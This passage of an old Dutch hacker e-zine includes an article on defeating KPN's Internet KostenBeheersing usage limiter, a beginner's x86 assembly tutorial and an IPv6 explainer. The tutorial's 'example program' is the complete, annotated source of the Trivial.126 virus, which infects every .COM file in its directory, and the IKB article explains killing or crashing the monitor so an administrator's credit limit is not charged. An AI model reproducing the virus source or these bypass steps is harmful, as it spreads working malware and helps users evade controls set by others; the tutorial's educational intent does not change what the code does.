optie weer bruikbaar.
VBA heeft veel meer mogelijkheden om beveiligingen te kraken. Het is ook
mogelijk een script te schrijven om de registersleutels automatisch te laten
veranderen/verwijderen. Hierover later misschien meer.
Veel succes ermee,
PtPtH
H4H@ptpth.cjb.net
-------------------------------------------------------
10. Internet KostenBeheersing
-------------------------------------------------------
Het Probleem:
IKB (Internet KostenBeheersing) is een KPN-oplossing voor te hoge
telefoonrekeningen door internetgebruik. Een beheerder geeft internetgebruikers
een bepaald tegoed. Het werkt (uiteraard) alleen onder windows 9X. IKB start
tegelijk op met windows, blijft in de system tray staan en reageert als je
inbelt. Je geeft je wachtwoord en je kunt internetten.
De Oplossing:
Het eerste wat je onder windows probeert om onder een vervelend programma uit te
komen is natuurlijk ctrl-alt-delete. En dat heeft men bij KPN blijkbaar ook
bedacht, want hier staat IKB niet vermeld. Goed... Dan eens kijken hoe het
opstart. start-->uitvoeren-->msconfig Juist, onder opstarten: "IKB C:\PROGRAM
FILES\KPN\INTERNET KOSTENBEHEERSING\IDTT.EXE". Alles mooi in caps, dus het valt
lekker op. Goed, hiervoor het V-ding (heeft ook een naam, maar die ben ik even
kwijt) weghalen en IKB start niet meer op. Dit alarmeert je beheerder
waarschijnlijk, dus het is geen echt handige oplossing, tenzij je van rebooten
houdt.
Toen ik IKB probeerde te crashen nam windows dit verkeerd op, besloot om zelf
plat te gaan en moest ik rebooten. Ik probeerde opnieuw online te gaan en mijn
tegoed was niet achteruit gegaan. Blijkbaar schrijft IKB de 'historie' pas weg
op het moment dat de verbinding verbroken wordt op een legale windowsmanier.
Hier schuilt een oplossing, gewoon na het internetten 2 keer ctrl-alt-delete
rammen en je tegoed gaat niet achteruit. Maar dit is niet zo netjes en het kan
ook makkelijker. We moeten gewoon idtt.exe afsluiten en je kunt onbeperkt
online. Voor zover ik weet kan dit niet via windhoos zelf, dus zoeken we ergens
een proggie dat dit wel kan. Ik heb Process View 1.0 gebruikt, maar dat is 1.2
Mb groot, wat ik wat opvallend vind voor wat het doet. Met dit programma zie je
een lijstje met alle programma's die op het moment draaien en kun je ze
afsluiten. Je sluit idtt.exe af en je kunt, zonder dat je tegoed achteruit gaat,
internetten. Ook als je idtt.exe pas afsluit als je al online bent gaat je
tegoed niet achteruit.
Oplossing 2: installeer Linux, want daar draait het niet op.
Doquan
-------------------------------------------------------
11. x86 Assembly Tutorial
-------------------------------------------------------
x86 Assembly Tutorial
{STABLE 0.5.1}
Deze tekst is uitsluitend voor educatieve doeleinden geschreven, ik kan niet
aansprakelijk worden gesteld voor alles wat je hierin leest.
Deze tekst zal je niet alles leren wat er te leren valt aan assembly. De
bedoeling van deze tekst is om je een beetje op weg te helpen met assembly.
Verder is deze assembly tutorial gericht op de 16bit MS-DOS/CBIOS assembly.
door GeNeTicS, genetics@hit2000.org
---{ Index }
01. Inleiding
02. Getallenstelsels
03. Gegeventypen
04. Registers
05. Segment en pointer registers
06. Flag register
07. Stack
08. De meestgebruikte instructies
09. IBM PC BIOS Interrupts
10. Compare
11. Voorbeeld programma
---{ 01. Inleiding }
Assembly wordt tegenwoordig niet vaak meer gebruikt, omdat je met
programeertalen zoals Pascal en Delphi veel sneller programma's in
elkaar
zet. Toch word het voor sommige doeleinden nog wel gebruikt, optimalisatie van
software, software cracken, virussen etc.
---{ 02. Getallenstelsel }
==# Binaire getallenstelsel:
Weegfactor: 2^x
0101(bin) naar decimaal
1 * 2^0 = 1
0 * 2^1 = 0
1 * 2^2 = 4
0 * 2^3 = 0
----+
5 in decimaal
==# Octale getallenstelsel:
Weegfactor: 8^x
Bytes: 1
136(oct) naar decimaal
6 * 8^0 = 6
3 * 8^1 = 24
1 * 8^2 = 64
----+
94 in decimaal
==# Decimale getallenstelsel:
Weegfactor: 10^x
==# Hexadecimale getallenstelsel:
Weegfactor: 16^x
Bytes: 2
5AF(hex) naar decimaal
F(15) * 16^0 = 15
A(10) * 16^1 = 160
5 * 16^2 =1280
----+
1455 in decimaal
---{ 03. Gegeventypen }
De registers kunnen oa. 5 typen gegevens bevatten, namelijk:
==# Bit
Bit: 1
==# Nybble
Bit: 4
Een Nybble is een collectie van 4 bit's, die is genummert van 0 tot 3.
==# Byte
Bit: 8
Een Byte is een collectie van 8 bit's, die is genummert van 0 tot 7.
Byte komt van By-Eight (:
==# WORD
Bit: 16
Een WORD is een collectie van 16 bit's, die is genummert van 0 tot 15.
==# DWORD "Double WORD"
Bit: 32
Een DWORD is een collectie van 32 bit's, die is genummert van 0 tot 31.
~ Declaratie
identifier db data
identifier byte data
identifier word data
identifier dword data
identifier sbyte data
identifier sword data
identifier sdword data
** "s" staat voor singed, die kunnen negatief worden.
vb.
string db 'hoi wereld! jij bent ziek'
~
---{ 04. Registers }
Registers zijn variabelen die opgeslagen staan in de geheugenbankjes. Ze
worden gebruikt om gegevens in op te slaan. Globaal zijn er 4
verschillende
soorten registers, algemene, segment en offset registers. Verder is er
een flag register waarin bepaalde eigenschappen van uitkomsten van
berekeningen in worden bewaard, hierover verderop nog meer.
Registers komen voor in drie verschillende vormen:
32bit registers:
* bv. eax, ebx, ecx, edx, edi, esi, esp en ebp.
16bit registers:
* bv. ax, bx, cx, dx, di, si, sp en bp.
8bit registers:
* bv. al, ah, bl, bh, cl, ch, dl en dh.
Hetgeen wat verschilt is de grootte. Een 16bit register bestaat uit twee
8bit
registers, het hoge gedeelte eindigt op een 'h', het lage gedeelte
eindigt op
een 'l'.
Algemene registers:
* AH/AL, AX, EAX : Accumulator
* BH/BL, BX, EBX : Base
* CH/CL, CX, ECX : Counter
* DH/DL, DX, EDX : Data
Stack Register:
* SI, ESI: Source Index
* DI, EDI: Destination Index
* IP, EIP: Instruction Pointer
Segment Registers:
* CD : Code Segment
* DS : Data Segment
* SS : Stack Segment
* ES : Extra Segment
* FS : Extra Segment
* GS : Extra Segment
Pointer Registers:
* SP, ESP: Stack Pointer
* BP, EBP: Base pointer
---{ 05. Segment en pointer registers }
Segment registers worden gebruik om aan te geven waar in het
geheugen gezocht moet worden en de offset registers worden gebruikt om
de
offset binnen het aangegeven segment aan te geven, op het aanspreken van
het geheugen zal nog worden terug gekomen even verderop in dit artikel.
Aangezien de registers in de oudere chips slechts 16 bit waren, dus
maximaal 64K, moest er een manier gevonden worden om toch meer dan
slechts
64K geheugen aan te spreken. De oplossing werd gevonden in het gebruik
van
2 registers om een geheugen plaats aan te geven, 1 segment register en 1
offset register. Benadering van het geheugen gaat dan als volgt: het
segment register geeft aan welk blok er in het geheugen wordt bedoelt en
het offset registers geeft aan op welke plaats (offset) er moet worden
gekeken in dit segment. Je zou denken dat er nu 64K * 64K = 4Gig aan
geheugen geaddresseerd zou kunnen worden, dit is echter niet het geval
aangezien een segment register niet verwijst naar 64K blokken, een
waarde
van 4 in een segment register verwijst dus niet naar het 4e 64K blok.
Segment register verwijzen naar blokken van 16 bytes. De slimme lezer
heeft ondanks mijn miezerige uitleg natuurlijk direct gezien dat
segment:16
overeenkomt met segment+1:0. De reden voor deze blok grote is dat op die
manier het geheugen effectiever kan worden gebruikt. Een nadeel is dat
de
maximale grote van het adreseerbaar geheugen afneemt tot 64K * 16 =
1Meg.
Verschillende segment en offset registers hebben een vaste functie.
CS:IP
verwijst naar de instructie die als volgende door de processor moet
worden
uitgevoerd. SS:SP verwijst naar de top van de stack. DS,ES,SI en DI zijn
de
registers die voor normale data worden gebruikt en vormen ook de segment
en offset register waarmee instructies als movsb werken.
---{ 06. Flag register }
Flags word gezet als je een berekening maakt. De flags zijn 16bit
registers. Hier volgt een lijst van een aantal flags.
Flag Type Bit Position Use
---------------------------------
C Status 0 Set on carry
A Status 4 Set on half carry
S Status 7 Set on negative result
Z Status 6 Set on zero result
O Status 11 Set on overflow
P Status 2 Set on even parity
D Mode 10 Direction
I Mode 9 Interrupt Enable
T Mode 8 Trap
Een flag kan niet of wel gezet zijn. Is de bit 0 dan is hij niet gezet,
is de bit 1 dan is hij wel gezet.
---{ 07. Stack }
De stack is een deel uit het gehuigen dat op een speciale manier word
gebruikt. De stack kun je vergelijken met een stapel borden. Het bord
die
er als eerste opkomt gaat er als laatste af, dit is de FILO methode.
FILO
staat voor First In Last Out. De stack word onder andere gebruikt om
parameters in een functie te zetten en om tijdelijk een register te
bewaren, omdat hij anders door een instructie vernietigt zou kunnen
worden.
~ Voorbeeld
Pascal:
Draw(aap, noot, 3+3);
ASM:
push aap ; Zet aap op de stack
push noot ; Zet noot op de stack
mov ax, 3 ; Zet 3 in register ax
add ax, 3 ; Tel 3 op bij register ax
push ax ; Zet register ax op de stack
call Draw ; Roep de functie "Draw" aan
~
---{ 08. De meestgebruikte instructies }
Instructies kunnen de registers manipuleren. Zo kan een instructie van
een register lezen of naar een register schrijven.
Zo kan je bijvoorbeeld met de int instructies eigenschappen van een
bestand krijgen te zien. Daarvoor moet je eerst in een register zetten
welk bestand. Je voert de int instructie uit en dan zal hij naar een
ander bestand de eigenschappen schrijven van het bestand.
=# ADD "Addition"
SYNTAX: ADD doel, source
DOEL: De source en het doel bij elkaar optellen en daarna het doel
vervangen door de uitkomst.
=# SUB "Substract"
SYNTAX: SUB doel, source
DOEL: De source en het doel van elkaar aftrekken en daarna het doel
vervangen door de uitkomst.
==# INC "Increase"
SYNTAX: INC doel
DOEL: Het doel verhogen met een.
=# LEA "Load Effective Address"
SYNTAX: lea doel, source
DOEL: plaatst het adres van de source naar het doel
=# MUL "Multiply"
SYNTAX: MUL source
DOEL: De source en register ax met elkaar vermenigvuldigen en daarna
register ax vervangen met het resultaat.
~ Voorbeeld
mov ax, 4 ; Plaats 4 in het ax register
mov bx, 4 ; Plaats 4 in het bx register
mul bx ; Vermenigvuldig bx met ax en daara ax vervangen met
het resultaat.
~
=# DIV "Divide"
SYNTAX: DIV source
DOEL: De source en register ax door elkaar delen en daarna register ax
vervangen met het resultaat.
~ Voorbeeld
mov ax, 4 ; Plaats 4 in het ax register
mov bx, 4 ; Plaats 4 in het bx register
div bx ; Deelt bx door ax en daara ax vervangen met het
resultaat.
~
=# AND
SYNTAX: AND doel, source
DOEL: Een logische AND uitvoeren over de twee invoervariabelen en daarna
het doel vervangen door de uitkomst.
~ AND
0 AND 0 = 0
0 AND 1 = 0
1 AND 0 = 0
1 AND 1 = 1
~
~ Voorbeeld
Ik geef alleen bij and een voorbeeld, bij not, or xor kan je dan naar
dit
voorbeeld kijken (dan kloppen de waarden niet meer, maar het systeen
wel).
ax = 0101
bx = 1100
AND ax, bx
ax = 0100
~
=# NOT
SYNTAX: NOT doel, source
DOEL: Een logische NOT uitvoeren over de twee invoervariabelen en daarna
het doel vervangen door de uitkomst.
~ NOT
NOT 0 = 1
NOT 1 = 0
~
=# OR
SYNTAX: OR doel, source
DOEL: Een logische OR uitvoeren over de twee invoervariabelen en daarna
het doel vervangen door de uitkomst.
~ OR
0 OR 0 = 0
0 OR 1 = 1
1 OR 0 = 1
1 OR 1 = 1
~
=# XOR
SYNTAX: XOR doel, source
DOEL: Een logische XOR uitvoeren over de twee invoervariabelen en daarna
het doel vervangen door de uitkomst.
~ XOR
0 XOR 0 = 0
0 XOR 1 = 1
1 XOR 0 = 1
1 XOR 1 = 0
~
~ Voorbeeld
Een creatieve manier op ax en bx te verwisselen:
xor ax, bx
xor bx, ax
xor ax, bx
~
=# CALL
SYNTAX: CALL adres
DOEL: Voert de functie op het adres uit
** Pushed het adres van de instructie die na de call instructie
ligt(EIP).
** Vervolgens jump hij naar het opgegeven adres.
** Zodra de functie is afgelopen gaat het programma door met code na de
** call.
~ Voorbeeld
call aap ; Zorgt dat het programma springt naar de functie aap
; en bewaard het adres van de volgende instructie
; (xor ax, ax) op de stack
xor ax, ax ; Leegt ax
aap: ; Functie aap, hier spring de call instructie heen
ret ; Haalt het return adres van de stack (EIP) en
springt
; naar dat adres, als het goed is staat er op de
stack
; een adres dat is achter gelaten door een call
; instructie als er perongeluk iets anders staat
; (bijvoorbeeld door een vergeten pop of door een
push
; teveel) is het erg waarschijnlijk dat het programma
; crasht.
~
=# RET "Return"
SYNTAX: RET
DOEL: Terugkeren uit een functie of als er niet gejumpt is uit het
programma.
** Pop't EIP van de stack en zet hem terug in EIP.
** Geeft aan dat het programma door moet gaan met de code vanwaar de
call
** kwam.
=# CMP "Compare"
SYNTAX: CMP reg1, reg2
DOEL: Vergelijkt reg1 met reg2 en update daarna de flag.
=# INT "Interrupt"
SYNTAX: INT interrupt-nummer in hex
DOEL: Een default function aanroepen.
~ Uitleg van dvorak
Als je wilt dat je programma iets nuttigs doet, bijvoorbeeld data uit
een file lezen kun je natuurlijk alles dat daarvoor nodig is gaan
programmeren, maar dat zou tot erg grote programma's leiden. Een
oplossing daarvoor zijn de zogenaamde interrupts, deze kun je aanroepen
met een speciale instructie (int). Dan neemt in programma dat altijd in
het geheugen staat tijdelijk de besturing over en voert de opgedragen
taak
uit, hierdoor is het mogelijk om op een simpele wijze met bestanden te
kunnen werken zonder dat je eindeloze lappen code daarvoor moet
programmeren. Hieronder is een lijstje van interrupts en het soort
functies dat het achterliggende programma kan uitvoeren.
~
=# JMP "Jump"
SYNTAX: JMP adres
DOEL: Spring naar het opgegeven adres in de code. 32768 maximaal naar
voren of naar achteren.
=# MOV "Move"
SYNTAX: MOV doel,source
DOEL : Verplaatst de data van de source naar het doel.
=# PUSH "Push"
SYNTAX: PUSH
DOEL: Een register op de stack plaatsen.
~ Voorbeeld
push ax
push bx
pop ax ; De waarde die het laatst gepushed werd komt terecht
; in ax. Hierna bevat ax dus de oude waarde van bx
pop bx ; Nu is de bovenste waarde op de stack die oude
waarde
; van ax welke nu in bx staat
~
=# POP "Pop up"
SYNTAX: POP doel
DOEL: Een register op de laatste plaats op de stack plaatsen.
~ Voorbeeld
push ax ; Plaats ax op de stack
mov ax, 3 ; Zet 3 in register ax
add ax, 3 ; Tel 3 op bij register ax
mov bx, ax ; Zet de waarde van register ax naar register bx
pop ax ; Zet stack terug in register ax
~
=# XCHG "Exchange"
SYNTAX: XCHG reg1, reg2
DOEL: verwisselt de bijde registers met elkaar.
Voor complete lijst Instructies:
http://www.cs.umbc.edu/~gorak/nasm_doc/nasmdoca.html
--{ 09. IBM PC BIOS Interrupts }
Interrupt Functie
-----------------------
5h Print Screen functie
10h bios Video display services
11h bios Equipment determination
12h bios Memory size determination
13h bios Diskette and hard disk services
14h bios Serial I/O services
15h bios Miscellaneous services
16h bios Keybord services
17h bios Printer services
18h BASIC
19h boot strap loader Reboot
1Ah Real time clock bios services
21h bios filesystem services
==# 5h
Het aanroepen van deze interrupt heeft het zelfde effect als het
in drukken van de print screen toets op je toetsenbord.
==# 10h
Met deze interrupt kunnen allerlei dingen met betrekking tot je
scherm worden veranderd, bijvoorbeeld de scherm mode.
==# 11h
Met deze interrupt is het mogelijk om te achterhalen wat voor
apparatuur er in de computer zit, bijvoorbeeld over floppy drives
==# 12h
Met deze interrupt kun je de gehuigengrootte krijgen.
==# 13h
Via deze functie kunnen floppy disks en harddrives rechtstreeks worden
benaderd, buiten het file systeem om (meestal geen goed idee)
== # 14h
Met deze interrupt kun met de seriele communicatie poorten werken.
==# 16h
Met deze interrupts kun je toetsen lezen, testen of het toetsenbord
status verkrijgen.
==# 17h
Met deze interrupt kun met de parallele communicatie poorten werken.
** In protected mode kun je geen BIOS interrupts aanspreken.
** Voor complete lijst met BIOS interrupts kijk je op :
** http://www.programmersheaven.com/zone5/cat21/index.htm
~ Voorbeeld
mov ax, 13h ; Zet 13 in register ax, 13= resolutie 320x200
int 10h ; Roep bios Video display services aan
~
---{ 10. Compare }
Waneer je twee registers via CMP met elkaar hebt vergelijkt, ga je die
verder verwerken.
Syntax Beschrijving
--------------------
JZ Jumps als welke flag dan ook is 0
JNZ Jumps als welke flag dan ook niet is 0
JE Jumps als is gelijk
JNE Jumps als is niet gelijk
JG Jumps als is groter
JNG Jumps als is niet groter
JLE Jumps als is minder of gelijk
JGE Jumps als is groter of gelijk
~ Voorbeeld
PASCAL:
if aap = noot then Functie()
ASM:
cmp ax, bx ; Vergelijk registers ax en bx, update de flags
JE Functie ; Jumps als ax en bx gelijk waren
~
---{ 11. Voorbeeld programma }
Hieronder staat de source van een oud virus die .com files kan
besmetten. Dit
virus kan een .com file infecten. Dit virus zal door alle virus scanners
worden onderschept.
Een aantal dingen vallen op aan dit virus: hij checkt niet op de grote
van de
.com file wat kan leiden tot problemen, een .com file mag maximaal 64k
groot
zijn als het virus een 64k-10 bytes file infecteert leidt dit tot een
.com
file groter dan 64k en dus een niet werkend programma.
Het virus checkt evenmin of het het file al heeft geinfecteert wat kan
Leiden tot meerdere infecties van hetzelfde file en dus snel tot te grote
files.
Het virus zoekt alleen in de directory waar het toevallig instaat en zal
Dus niet zo effectief als het kan zijn.
De uitleg van dit virus heeft dvorak voor zijn rekening genomen.
; - Trivial.126 -
; Created by Immortal Riot's destructive development team
; (c) 1994 The Unforgiven/Immortal Riot
; FE Highly detected COM-infectorFE
.model tiny
.code
.radix 16
org 100h ; cs:100h => start of com file
start:
storbuf db 00,00,00,00 ; just for the first generation!
; this will not be written in the
; files, making the file increase
; equal to 126 bytes!
; Aangezien get_off de volgende instructie
; is zal zijn adres op de stack worden gezet
; call's zijn voor dit kleine verschil
; in afstand relatief, wat wil zeggen dat er
; in feite staat: spring zoveel plaatsen
; vooruit i.p.v. dat er staat spring naar
; adres zus en zo.
; Terwijl het adres dat op de stack komt te
; staan wel absoluut is. met deze combinatie
; van instructies (relatieve sprong, absolute
; waarde op de stack is het dus mogelijk om
; het adres van het virus te vinden
v_start:
call get_off ; ;)
get_off:
pop bp ; get delta-offset
; Hiermee komt het (absolute) adres van
; get_off in bp terecht zodat de rest van het
; virus hiervandaan kan worden gevonden.
sub bp, offset get_off
; Dit wordt gedaan om de rest van het virus
; makkelijker te maken.
; Hierdoor geeft bp + "een label" het adres
; van dat label in het geinfecteerdeprogramma.
lea si,[bp+orgbuf] ; transer 3 first bytes (2 than 1)
; si verwijst nu naar orgbuf in het
; geinfecteerde programma, in orgbuf
; staan de eerste 3 bytes van het orginele
; programma, deze 3 bytes worden in een
; geinfecteerd programma vervangen door
; een JMP "adres van virus" instructie.
mov di,100h ; from position di:100h to orgbuf!
; adres waar deze bewaarde bytes in het
; programma terecht moeten komen, 100h
; is het begin van het programma
movsw ;
; Verplaats een word (= 2 bytes) van
; ds:si naar es:di en verhoog zowel
; si als di met 2
movsb ;
; En nog een byte dus totaal 3 bytes.
mov ah,1ah
; Roep functie 1ah van interrupt 21h aan
; interrupt 21h is de DOS interrupt en zorgt
; voor bijvoorbeeld toegang tot het filesystem
; functie 1ah bepaalt de dta (Disk Transfer
; Area) of te wel de plaats waar het resultaat
; van bepaalde andere functies wordt geplaatst
; bijvoorbeeld van de find_first functie die
; hierna gebruik wordt.
lea dx,[bp+code_end] ; set dta
int 21h ; to end of program
mov ah,4eh ; Functie 4eh van interrupt 21h zoekt naar
; het eerste file dat voldoet aan het
; criterium waar dx naar verwijst, in dit
; geval: "*.com"
lea dx,[bp+com_files] ; match with the extension
; 'COM'
find_next:
int 21h
jnc infect ; jnc = JMP if not carry(flag)
; int 21h zet de carry flag als er een error
; is als de carry flag niet gezet is
; is er dus een file met de extentie .COM
; gevonden.
quit: ; Hier kom je alleen terecht
; als de carry flag gezet is wat betekend
; dat er geen .COM bestand is gevonden
; dan moet het virus terug keren naar het
; oorspronkelijke programma (wat boven
; zijn 3 missende bytes heeft terug gekregen)
; dit gebeurt door naar adres 100h te springen
; dit is immers het begin van elk .COMbestand.
mov bx,100h ; did not, return
jmp bx ; to original program!
infect: ; Hier komt het virus alleen als het een .COM
; bestand heeft gevonden.
lea dx,[bp+code_end+1eh] ; 1eh = adress to filename to open
; Functie 3dh (de waarde in ah zoals die
; zodadelijk wordt gezet) is de open file
; functie dx wijst naar de naam van het file
; dat geopend moet worden.
; bp + code_end verwijst naar de dta (waar het
; resultaat van de zoek opdracht terecht komt)
; en offset 1eh daarbinnen is de plaats waar
; de naam van het gevonde bestand staat.
mov ax,3d02h ; open file
; ah = 3dh (de open functie)
; en al = 02h wat overeen komt met
; read/write mode oftewel het is mogelijk om
; dit bestand te lezen en te schrijven als het
; geopend is
int 21h ; in read/write mode
; Deze functie plaats het resultaat van de
; open actie (een filehandle oftewel een
; verwijzing naar een file) in ax.
; Zoals je kan zien wordt er niet rekening
; gehouden met een error.
xchg ax,bx ; Verwissel ax en bx met als resultaat dat
; de filehandle nu in bx staat
; al de volgende functies verwachten de
; filehandle in bx dit zal niet meer gezegd
; worden, maar houdt er dus rekening mee
; dat bx niet gewijzigd dient te worden
mov ah,3fh ; functie 3fh is de lees functie
mov cx,3 ; in cx staat hoeveel bytes er moeten
; worden gelezen
lea dx,[bp+orgbuf] ; En in dx staat waar deze moeten worden
; bewaard
int 21h ; alleen de eerste 3 bytes worden gelezen
; aangezien deze straks worden vervangen
; door een JMP instructie
; standaard staat de file-pointer aan het
; begin van het file, zodat er daarvan wordt
; gelezen
mov ax,4202h ; move file-pointer
; functie 42h: verplaatsing van de file
; pointer, al bepaalt ten opzichte van
; wat er verschoven wordt, 02h is ten
; opzichte van het einde van het file
xor cx,cx ; to end of file
; cx bepaalt hoever de file pointer moet
; worden verplaatst, 0 betekend dus dat hij
; zodadelijk naar het einde van het file wijst
cwd
int 21h ; Na aanroep van deze interrupt bevat
; ax de huidige file-pointer en dus
; in dit geval de grote van het file
sub ax,3h ; substract the 3 last bytes
mov word ptr [bp+first_bytes+1],ax ; and put em in our buffer
mov ah,40h ; Functie 40h is de schrijf functie
mov cx,code_end-v_start ; cx bevat het aantal bytes dat moet worden
; geschreven, code_env-v_start is het hele
; virus.
lea dx,[bp+v_start] ; dx bepaalt waar de bytes staan die moeten
; worden geschreven, bp+v_start komt
; overeen met het begin van het virus in het
; geinfecteerde programma
; aangezien de file-pointer wijst naar het
; einde van het te infecteren programma
; wordt het virus daar achteraan geplaatst.
int 21h ; Van de grote van het file wordt
; 3 af getrokken zodat het het aantal
; bytes wordt verkregen dat naar voren
; moet worden gesprongen vanaf het
begin
; van het programma om bij het virus te komen
; (de JMP instructie neemt 3 bytes in beslag).
mov ax,4200h ; Wederom de move file-pointer functie
maar
; nu met al=0h oftewel vanaf het
begin van
; het file.
xor cx,cx ; 0 bytes voorbij het begin van het
file
; is ... precies het begin ;)
cwd
int 21h
mov ah,40h ; Wederom de schrijf functie
mov cx,3 ; 3 bytes moeten er worden geschreven
lea dx,[bp+first_bytes] ; en die drie bytes bevatten de
hierboven
; uitgerekende jmp instructie..
int 21h
close:
mov ah,3eh ; sluiten van de filehandle en daarmee
; het permanent maken van de
modificaties
int 21h
mov ah,4fh ; Functie 4fh: zoek naar het volgende
file
; dat voldoet aan de criteria
; deze criteria staan in de dta.
jmp short find_next ; and loop the procedure
; until all files are infected
com_files:
db "*.com",0 ; files to search for
first_bytes:
db 0e9h,00h,00h ; buffer to calculate a new entry
orgbuf:
db 0cdh,20h,90h ; buffer to save 3 first bytes
code_end:
end start
**
---{ EOF junk }
Voor vragen, opmerkingen en flames: genetics@hit2000.org
http://www.penguin.cz/~niki/tdasm/
http://www.powerbasic.com/files/pub/asm/
http://www.programmersheaven.com/zone5/index.htm
http://www.flipcode.com/
http://www.linuxassembly.org/
http://www.cs.umbc.edu/~gorak/nasm_doc/nasmdoca.html
Bedankjes naar: raistlin, {}, BleuLiVE, dvorak, Scrippie, MrFloat,
UndiFineD en ViruS.
Groetjes naar: LordRaYde, BoGie, r00t, Scorpster ,Nederwiet, Pentag0n,
The_Itch, Tasc en Nynex.
-------------------------------------------------------
12. IPv6: The Next Generation
-------------------------------------------------------
De volgende generatie ... (IPv6: The Next Generation)
Hallo, dit is mijn eerste artikeltje voor H4H (keep it kort en simpel, tja lang
is hij niet! en ook niet erg op niveau maar dat komt volgende keer wel als ik
wat meer tijd heb) en ik geloof ook mijn eerste in het Nederlands. Ik scrhijf
over het algemeen alleen voor het e-zine phrack maar ik zal proberen nu op de
manier van H4H te scrhijven. In dit artikel zal ik wat gaan vertellen over de
vorderingen van IPv6.
Het probleem:
Het twintig jaar oude IPv4 loopt tegen zijn maximum aantal clienten aan.
De oplossing:
Het 32-bits IPv4 protocol vervangen voor een 128-bits protocol dat een grotere
IP-Header aankan en dus meer clienten.
Hoe werkt IPv4?
IPv4 is 32 bits wat betekend dat er:
32
2 = 4,294,967,296 beschikbare adressen zijn.
Omdat er ondersteuning en flexibiliteit moet zijn is IPv4 opgedeeld in 3
verschillende classes. Class A, Class B en Class C (zie figuur)
Bit# 0 1 7 8 31
|0| | |
< NET# > < HOST# >
Bit# 0 2 15 16 31
|10| | |
< NET# > < HOST# >
Bit# 0 3 23 24 31
|110| | |
< NET# > <HOST# >
Een van de fundamenten van classfull IP adressing is dat ieder adres een
zelf-coderende sleutelwaarde heeft die het scheidings punt tussen het
netwerk- en het host nummer aangeeft.
En hoe zit het geheel dan in elkaar? met die Class A, B, en C??
wat weten we nu? A.B.C.? (voorbeeld van een IPv4 adres: 194.134.0.97)
Even over het aantal netwerken per aparte classes:
7
Class A - Aantal netwerken : 126*(2 -2)
24
Hosts per netwerk: 16,777,214*(2 -2)
14
Class B - Aantal Netwerken : 16,384*(2 )
16
Hosts per netwerk: 65,534*(2 -2)
21
Class C - Aantal Netwerken : 2,097,152*(2 )
8
Hosts per netwerk: 254*(2 -2)
Het geheel zit als volgt inelkaar:
31
Class A: ( /8): 2 = 2,147,483,648 = 1/2 = 50% of IPv4
30
Class B: (/16): 2 = 1,073,741,824 = 1/4 = 25% of IPv4
29
Class C: (/24): 2 = 536,870,912 = 1/8 = 12.5% of IPv4
---------------------------------------------------------
29
Class D & E : 2 = 536,870,912 = 1/8 = 12.5% of IPv4
---------------------------------------------------------
32
All Classes : 2 = 4,294,967,296 = 1 = 100% of IPv4
Tot zover over het oude IPv4 nu terug naar het probleem:
De oplossing op het probleem is al jaren werklijkheid (en niet sinds kort
zoals jullie in de computer idee hebben kunnen lezen.) Het nieuwe internet
protocol heet: IPv6 en heeft naast de vergroting van de IP header ook nog een
aantal andere veranderingen/verbeteringen. Hier staan ALLE veranderingen even
op een rijtje.
Uitgebreide Adressering Capaciteiten:
IPv6 vergroot de grootte van een IP adres van een 32-bits naar 128-bits
waardoor er meer IP adresserings levels mogelijk zijn, Dat er veel meel
clienten
in 1 keer mogelijk zijn en dat het automatisch configureren van adressen
makkelijker word. De 'scalability of multicast routing' is verbeterd door een
'scope' veld toe te voegen om adressen te multicasten. Er word ook een nieuwe
type adres toegevoed genaamd: "anycast adress". Dit adres word gebruikt om een
packet te versturen naar een groep van clienten.
Simpelere IP-Header:
Een aantal delen uit de IPv4 header zijn verwijderd of optioneel gemaakt om het
normale packet behandel proces korter te maken en om bandbreedte te besparen in
de IPv6 header
Verbeterde ondersteuning voor uitbreidingen en extra opties:
De veranderingen in the codering van de IP header zorgen voor efficientere
doorsturing, minder limieten in de lengte van opties en een grotere
ondersteuning
voor mogelijke veranderingen in de toekomst.
Flow Labeling capaciteit:
Er is een nieuwe capaciteit toegevoegd die het mogelijk maakt om labels mee te
geven aan packets die toebehoren aan sommige "flows" waarvoor de zender
speciale
behandeling vraagt. Zoals bijvoorbeel niet-standaard "Quality of Service"
Authenication en privacy capaciteiten:
Extensies om "authenication support", "data integrity" en (optionele) "data
confindentialitity" mogelijk te maken.
Dit zijn de meest grote en (reeds) bekende veranderingen waarvan zeker is dat
zij
zullen worden toegevoed aan het nieuwe protocol. Wat we natuurlijk niet zeker
weten is of dit alle veranderingen zijn die in de uiteindelijke versie zullen
verscijnen.
Zoals je hebt kunnen lezen is een van de belangrijkste veranderingen de IP-
header
die van 32-bits naar 128-bits is verandert. Om je een indruk te geven van de
nieuwe
IP-header is hier een schematisch overzicht van de IPv6 header
|===============================================================|
|Version | Prio. | Flow Label |
|===============================================================|
| Payload Length | Next Header | Hop Limit |
|===============================================================|
| |
| |
| |
| Source Address |
| |
| |
| |
|===============================================================|
| |
| |
| |
| Destination Address |
| |
| |
| |
|===============================================================|
Version 4-bits waarde : Internet Protocol versie.
Prio. 4-bits waarde : priority waarde.
Flow Label 24-bits waarde : flow label.
Payload Length 16-bits waarde : hoeveelheid opvolgende packets
Next Header 8-bits waarde : type van opvolgende header
Hop Limit 8-bits waarde : deze waarde gaat iedere keer
+1 wanneer een client een deze
packet forward
Source Address 128-bits waarde : adres van de offciele afkomst van de
packet.
Voordat ik er een eind aanbrijd wil ik nog ff wat greetz posten!
Greetz to: AMD/Mixter/uDc/Securologix/All my friends on IRC
Written by: Necrose
Necrose@securologix.com
Securologix - Security Research Team
http://www.securologix.com
-------------------------------------------------------
EOF
